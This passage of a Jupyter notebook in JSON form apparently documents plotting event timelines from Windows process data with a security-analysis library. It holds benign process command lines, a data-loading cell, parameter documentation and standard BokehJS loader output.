State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\system32\\\\MusNotification.exe Display\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"taskhostw.exe SYSTEM\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service State\\\\CT_602\\n681692\\\\work\\\\ServiceState\\\\ServiceState.mof\\\"\\n\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service\\nState\\\\CT_602681692\\\\work\\\\ServiceState\\\"\",\"\\\\??\\\\C:\\\\Windows\\\\system32\\\\conhost.exe 0xffffffff\\n-ForceV1\",\"C:\\\\Windows\\\\sysWOW64\\\\wbem\\\\wmiprvse.exe -secured\\n-Embedding\",\"\\\"C:\\\\Windows\\\\system32\\\\cscript.exe\\\" /nologo\\n\\\"MonitorKnowledgeDiscovery.vbs\\\"\",\"\\\"C:\\\\Program Files\\\\Microsoft Monitoring\\nAgent\\\\Agent\\\\Health Service State\\\\CT_602681692\\\\Nati\\nveDSC\\\\DesiredStateConfiguration\\\\ASMHost.exe\\\"\\nGetInventory \\\"C:\\\\Program Files\\\\Microsoft\\nMonitoring Agent\\\\Agent\\\\Health Service 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\n", "\n" ], "text/plain": [ "Figure(id='1004', ...)" ] }, "execution_count": 2, "metadata": {}, "output_type": "execute_result" } ], "source": [ "processes_on_host = pd.read_csv('data/processes_on_host.csv',\n", " parse_dates=[\"TimeGenerated\"],\n", " infer_datetime_format=True)\n", "\n", "# At a minimum we need to pass a dataframe with data\n", "nbdisplay.display_timeline(processes_on_host)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "The Bokeh graph is interactive and has the following features:\n", "- Tooltip display for each event marker as you hover over it\n", "- Toolbar with the following tools (most are toggles enabling or disabling the tool):\n", " - Panning \n", " - Select zoom\n", " - Mouse wheel zoom\n", " - Reset to default view\n", " - Save image to PNG\n", " - Hover tool\n", " \n", "Additionally an interactive timeline navigation bar is displayed below the main graph. You can change the timespan shown on the main graph by dragging or resizing the selected area on this navigation bar.\n", "\n", "**Note**: \n", "- the tooltips work on the Windows process data shown above because of a legacy fallback built into the code.\n", " Usually you need to specify the `source_columns` parameter explicitly to have \n", " the hover tooltips populated correctly." ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "## More Advanced Timelines\n", "`display_timeline` also takes a number of optional parameters that give you more flexibility to show multiple data series and change the way the graph appears.\n", "```\n", "Other Parameters\n", "----------------\n", "title : str, optional\n", " Title to display (the default is None)\n", "alert : SecurityAlert, optional\n", " Add a reference line/label using the alert time (the default is None)\n", "ref_event : Any, optional\n", " Add a reference line/label using the alert time (the default is None)\n", "ref_time : datetime, optional\n", " Add a reference line/label using `ref_time` (the default is None)\n", "group_by : str\n", " (where `data` is a DataFrame)\n", " The column to group timelines on\n", "sort_by : str\n", " (where `data` is a DataFrame)\n", " The column to order timelines on\n", "legend: str, optional\n", " left, right or inline\n", " (the default is None/no legend)\n", "yaxis : bool, optional\n", " Whether to show the yaxis and labels (default is False)\n", "range_tool : bool, optional\n", " Show the the range slider tool (default is True)\n", "height : int, optional\n", " The height of the plot figure\n", " (the default is auto-calculated height)\n", "width : int, optional\n", " The width of the plot figure (the default is 900)\n", "color : str\n", " Default series color (default is \"navy\")\n", "```\n" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "### Grouping Series From a Single DataFrame\n" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "ExecuteTime": { "end_time": "2020-01-30T20:46:29.051830Z", "start_time": "2020-01-30T20:46:28.958882Z" }, "scrolled": false }, "outputs": [ { "data": { "text/html": [ "\n", "
\n", " \n", " Loading BokehJS ...\n", "
" ] }, "metadata": {}, "output_type": "display_data" }, { "data": { "application/javascript": [ "\n", "(function(root) {\n", " function now() {\n", " return new Date();\n", " }\n", "\n", " var force = true;\n", "\n", " if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n", " root._bokeh_onload_callbacks = [];\n", " root._bokeh_is_loading = undefined;\n", " }\n", "\n", " var JS_MIME_TYPE = 'application/javascript';\n", " var HTML_MIME_TYPE = 'text/html';\n", " var EXEC_MIME_TYPE = 'application/vnd.bokehjs_exec.v0+json';\n", " var CLASS_NAME = 'output_bokeh rendered_html';\n", "\n", " /**\n", " * Render data to the DOM node\n", " */\n", " function render(props, node) {\n", " var script = document.createElement(\"script\");\n", " node.appendChild(script);\n", " }\n", "\n", " /**\n", " * Handle when an output is cleared or removed\n", " */\n", " function handleClearOutput(event, handle) {\n", " var cell = handle.cell;\n", "\n", " var id = cell.output_area._bokeh_element_id;\n", " var server_id = cell.output_area._bokeh_server_id;\n", " // Clean up Bokeh references\n", " if (id != null && id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", "\n", " if (server_id !== undefined) {\n", " // Clean up Bokeh references\n", " var cmd = \"from bokeh.io.state import curstate; print(curstate().uuid_to_server['\" + server_id + \"'].get_sessions()[0].document.roots[0]._id)\";\n", " cell.notebook.kernel.execute(cmd, {\n", " iopub: {\n", " output: function(msg) {\n", " var id = msg.content.text.trim();\n", " if (id in Bokeh.index) {\n", " Bokeh.index[id].model.document.clear();\n", " delete Bokeh.index[id];\n", " }\n", " }\n", " }\n", " });\n", " // Destroy server and session\n", " var cmd = \"import bokeh.io.notebook as ion; ion.destroy_server('\" + server_id + \"')\";\n", " cell.notebook.kernel.execute(cmd);\n", " }\n", " }\n", "\n", " /**\n", " * Handle when a new output is added\n", " */\n", " function handleAddOutput(event, handle) {\n", " var output_area = handle.output_area;\n", " var output = handle.output;\n", "\n", " // limit handleAddOutput to display_data with EXEC_MIME_TYPE content only\n", " if ((output.output_type != \"display_data\") || (!output.data.hasOwnProperty(EXEC_MIME_TYPE))) {\n", " return\n", " }\n", "\n", " var toinsert = output_area.element.find(\".\" + CLASS_NAME.split(' ')[0]);\n", "\n", " if (output.metadata[EXEC_MIME_TYPE][\"id\"] !== undefined) {\n", " toinsert[toinsert.length - 1].firstChild.textContent = output.data[JS_MIME_TYPE];\n", " // store reference to embed id on output_area\n", " output_area._bokeh_element_id = output.metadata[EXEC_MIME_TYPE][\"id\"];\n", " }\n", " if (output.metadata[EXEC_MIME_TYPE][\"server_id\"] !== undefined) {\n", " var bk_div = document.createElement(\"div\");\n", " bk_div.innerHTML = output.data[HTML_MIME_TYPE];\n", " var script_attrs = bk_div.children[0].attributes;\n", " for (var i = 0; i < script_attrs.length; i++) {\n", " toinsert[toinsert.length - 1].firstChild.setAttribute(script_attrs[i].name, script_attrs[i].value);\n", " }\n", " // store reference to server id on output_area\n", " output_area._bokeh_server_id = output.metadata[EXEC_MIME_TYPE][\"server_id\"];\n", " }\n", " }\n", "\n", " function register_renderer(events, OutputArea) {\n", "\n", " function append_mime(data, metadata, element) {\n", " // create a DOM node to render to\n", " var toinsert = this.create_output_subarea(\n", " metadata,\n", " CLASS_NAME,\n", " EXEC_MIME_TYPE\n", " );\n", " this.keyboard_manager.register_events(toinsert);\n", " // Render to node\n", " var props = {data: data, metadata: metadata[EXEC_MIME_TYPE]};\n", " render(props, toinsert[toinsert.length - 1]);\n", " element.append(toinsert);\n", " return toinsert\n", " }\n", "\n", " /* Handle when an output is cleared or removed */\n", " events.on('clear_output.CodeCell', handleClearOutput);\n", " events.on('delete.Cell', handleClearOutput);\n", "\n", " /* Handle when a new output is added */\n", " events.on('output_added.OutputArea', handleAddOutput);\n", "\n", " /**\n", " * Register the mime type and append_mime function with output_area\n", " */\n", " OutputArea.prototype.register_mime_type(EXEC_MIME_TYPE, append_mime, {\n", " /* Is output safe? */\n", " safe: true,\n", " /* Index of renderer in `output_area.display_order` */\n", " index: 0\n", " });\n", " }\n", "\n", " // register the mime type if in Jupyter Notebook environment and previously unregistered\n", " if (root.Jupyter !== undefined) {\n", " var events = require('base/js/events');\n", " var OutputArea = require('notebook/js/outputarea').OutputArea;\n", "\n", " if (OutputArea.prototype.mime_types().indexOf(EXEC_MIME_TYPE) == -1) {\n", " register_renderer(events, OutputArea);\n", " }\n", " }\n", "\n", " \n", " if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n", " root._bokeh_timeout = Date.now() + 5000;\n", " root._bokeh_failed_load = false;\n", " }\n", "\n", " var NB_LOAD_WARNING = {'data': {'text/html':\n", " \"
\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"1318\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"1318\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1318' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"1318\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1318\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"1318\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1318' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1318\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
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\\n\"+\n", " \"

\\n\"+\n", " \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n", " \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n", " \"

\\n\"+\n", " \"\\n\"+\n", " \"\\n\"+\n", " \"from bokeh.resources import INLINE\\n\"+\n", " \"output_notebook(resources=INLINE)\\n\"+\n", " \"\\n\"+\n", " \"
\"}};\n", "\n", " function display_loaded() {\n", " var el = document.getElementById(\"1662\");\n", " if (el != null) {\n", " el.textContent = \"BokehJS is loading...\";\n", " }\n", " if (root.Bokeh !== undefined) {\n", " if (el != null) {\n", " el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n", " }\n", " } else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(display_loaded, 100)\n", " }\n", " }\n", "\n", "\n", " function run_callbacks() {\n", " try {\n", " root._bokeh_onload_callbacks.forEach(function(callback) {\n", " if (callback != null)\n", " callback();\n", " });\n", " } finally {\n", " delete root._bokeh_onload_callbacks\n", " }\n", " console.debug(\"Bokeh: all callbacks have finished\");\n", " }\n", "\n", " function load_libs(css_urls, js_urls, callback) {\n", " if (css_urls == null) css_urls = [];\n", " if (js_urls == null) js_urls = [];\n", "\n", " root._bokeh_onload_callbacks.push(callback);\n", " if (root._bokeh_is_loading > 0) {\n", " console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n", " return null;\n", " }\n", " if (js_urls == null || js_urls.length === 0) {\n", " run_callbacks();\n", " return null;\n", " }\n", " console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n", " root._bokeh_is_loading = css_urls.length + js_urls.length;\n", "\n", " function on_load() {\n", " root._bokeh_is_loading--;\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n", " run_callbacks()\n", " }\n", " }\n", "\n", " function on_error() {\n", " console.error(\"failed to load \" + url);\n", " }\n", "\n", " for (var i = 0; i < css_urls.length; i++) {\n", " var url = css_urls[i];\n", " const element = document.createElement(\"link\");\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.rel = \"stylesheet\";\n", " element.type = \"text/css\";\n", " element.href = url;\n", " console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n", " document.body.appendChild(element);\n", " }\n", "\n", " for (var i = 0; i < js_urls.length; i++) {\n", " var url = js_urls[i];\n", " var element = document.createElement('script');\n", " element.onload = on_load;\n", " element.onerror = on_error;\n", " element.async = false;\n", " element.src = url;\n", " console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n", " document.head.appendChild(element);\n", " }\n", " };var element = document.getElementById(\"1662\");\n", " if (element == null) {\n", " console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1662' but no matching script tag was found. \")\n", " return false;\n", " }\n", "\n", " function inject_raw_css(css) {\n", " const element = document.createElement(\"style\");\n", " element.appendChild(document.createTextNode(css));\n", " document.body.appendChild(element);\n", " }\n", "\n", " \n", " var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n", " var css_urls = [];\n", " \n", "\n", " var inline_js = [\n", " function(Bokeh) {\n", " Bokeh.set_log_level(\"info\");\n", " },\n", " function(Bokeh) {\n", " \n", " \n", " }\n", " ];\n", "\n", " function run_inline_js() {\n", " \n", " if (root.Bokeh !== undefined || force === true) {\n", " \n", " for (var i = 0; i < inline_js.length; i++) {\n", " inline_js[i].call(root, root.Bokeh);\n", " }\n", " if (force === true) {\n", " display_loaded();\n", " }} else if (Date.now() < root._bokeh_timeout) {\n", " setTimeout(run_inline_js, 100);\n", " } else if (!root._bokeh_failed_load) {\n", " console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n", " root._bokeh_failed_load = true;\n", " } else if (force !== true) {\n", " var cell = $(document.getElementById(\"1662\")).parents('.cell').data().cell;\n", " cell.output_area.append_execute_result(NB_LOAD_WARNING)\n", " }\n", "\n", " }\n", "\n", " if (root._bokeh_is_loading === 0) {\n", " console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n", " run_inline_js();\n", " } else {\n", " load_libs(css_urls, js_urls, function() {\n", " console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n", " run_inline_js();\n", " });\n", " }\n", "}(window));" ], "application/vnd.bokehjs_load.v0+json": "\n(function(root) {\n function now() {\n return new Date();\n }\n\n var force = true;\n\n if (typeof root._bokeh_onload_callbacks === \"undefined\" || force === true) {\n root._bokeh_onload_callbacks = [];\n root._bokeh_is_loading = undefined;\n }\n\n \n\n \n if (typeof (root._bokeh_timeout) === \"undefined\" || force === true) {\n root._bokeh_timeout = Date.now() + 5000;\n root._bokeh_failed_load = false;\n }\n\n var NB_LOAD_WARNING = {'data': {'text/html':\n \"
\\n\"+\n \"

\\n\"+\n \"BokehJS does not appear to have successfully loaded. If loading BokehJS from CDN, this \\n\"+\n \"may be due to a slow or bad network connection. Possible fixes:\\n\"+\n \"

\\n\"+\n \"\\n\"+\n \"\\n\"+\n \"from bokeh.resources import INLINE\\n\"+\n \"output_notebook(resources=INLINE)\\n\"+\n \"\\n\"+\n \"
\"}};\n\n function display_loaded() {\n var el = document.getElementById(\"1662\");\n if (el != null) {\n el.textContent = \"BokehJS is loading...\";\n }\n if (root.Bokeh !== undefined) {\n if (el != null) {\n el.textContent = \"BokehJS \" + root.Bokeh.version + \" successfully loaded.\";\n }\n } else if (Date.now() < root._bokeh_timeout) {\n setTimeout(display_loaded, 100)\n }\n }\n\n\n function run_callbacks() {\n try {\n root._bokeh_onload_callbacks.forEach(function(callback) {\n if (callback != null)\n callback();\n });\n } finally {\n delete root._bokeh_onload_callbacks\n }\n console.debug(\"Bokeh: all callbacks have finished\");\n }\n\n function load_libs(css_urls, js_urls, callback) {\n if (css_urls == null) css_urls = [];\n if (js_urls == null) js_urls = [];\n\n root._bokeh_onload_callbacks.push(callback);\n if (root._bokeh_is_loading > 0) {\n console.debug(\"Bokeh: BokehJS is being loaded, scheduling callback at\", now());\n return null;\n }\n if (js_urls == null || js_urls.length === 0) {\n run_callbacks();\n return null;\n }\n console.debug(\"Bokeh: BokehJS not loaded, scheduling load and callback at\", now());\n root._bokeh_is_loading = css_urls.length + js_urls.length;\n\n function on_load() {\n root._bokeh_is_loading--;\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: all BokehJS libraries/stylesheets loaded\");\n run_callbacks()\n }\n }\n\n function on_error() {\n console.error(\"failed to load \" + url);\n }\n\n for (var i = 0; i < css_urls.length; i++) {\n var url = css_urls[i];\n const element = document.createElement(\"link\");\n element.onload = on_load;\n element.onerror = on_error;\n element.rel = \"stylesheet\";\n element.type = \"text/css\";\n element.href = url;\n console.debug(\"Bokeh: injecting link tag for BokehJS stylesheet: \", url);\n document.body.appendChild(element);\n }\n\n for (var i = 0; i < js_urls.length; i++) {\n var url = js_urls[i];\n var element = document.createElement('script');\n element.onload = on_load;\n element.onerror = on_error;\n element.async = false;\n element.src = url;\n console.debug(\"Bokeh: injecting script tag for BokehJS library: \", url);\n document.head.appendChild(element);\n }\n };var element = document.getElementById(\"1662\");\n if (element == null) {\n console.error(\"Bokeh: ERROR: autoload.js configured with elementid '1662' but no matching script tag was found. \")\n return false;\n }\n\n function inject_raw_css(css) {\n const element = document.createElement(\"style\");\n element.appendChild(document.createTextNode(css));\n document.body.appendChild(element);\n }\n\n \n var js_urls = [\"https://cdn.pydata.org/bokeh/release/bokeh-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-widgets-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-tables-1.4.0.min.js\", \"https://cdn.pydata.org/bokeh/release/bokeh-gl-1.4.0.min.js\"];\n var css_urls = [];\n \n\n var inline_js = [\n function(Bokeh) {\n Bokeh.set_log_level(\"info\");\n },\n function(Bokeh) {\n \n \n }\n ];\n\n function run_inline_js() {\n \n if (root.Bokeh !== undefined || force === true) {\n \n for (var i = 0; i < inline_js.length; i++) {\n inline_js[i].call(root, root.Bokeh);\n }\n if (force === true) {\n display_loaded();\n }} else if (Date.now() < root._bokeh_timeout) {\n setTimeout(run_inline_js, 100);\n } else if (!root._bokeh_failed_load) {\n console.log(\"Bokeh: BokehJS failed to load within specified timeout.\");\n root._bokeh_failed_load = true;\n } else if (force !== true) {\n var cell = $(document.getElementById(\"1662\")).parents('.cell').data().cell;\n cell.output_area.append_execute_result(NB_LOAD_WARNING)\n }\n\n }\n\n if (root._bokeh_is_loading === 0) {\n console.debug(\"Bokeh: BokehJS loaded, going straight to plotting\");\n run_inline_js();\n } else {\n load_libs(css_urls, js_urls, function() {\n console.debug(\"Bokeh: BokehJS plotting callback run at\", now());\n run_inline_js();\n });\n }\n}(window));" }, "metadata": {}, "output_type": "display_data" }, { "data": { "text/html": [ "\n", "\n", "\n", "\n", "\n", "\n", "
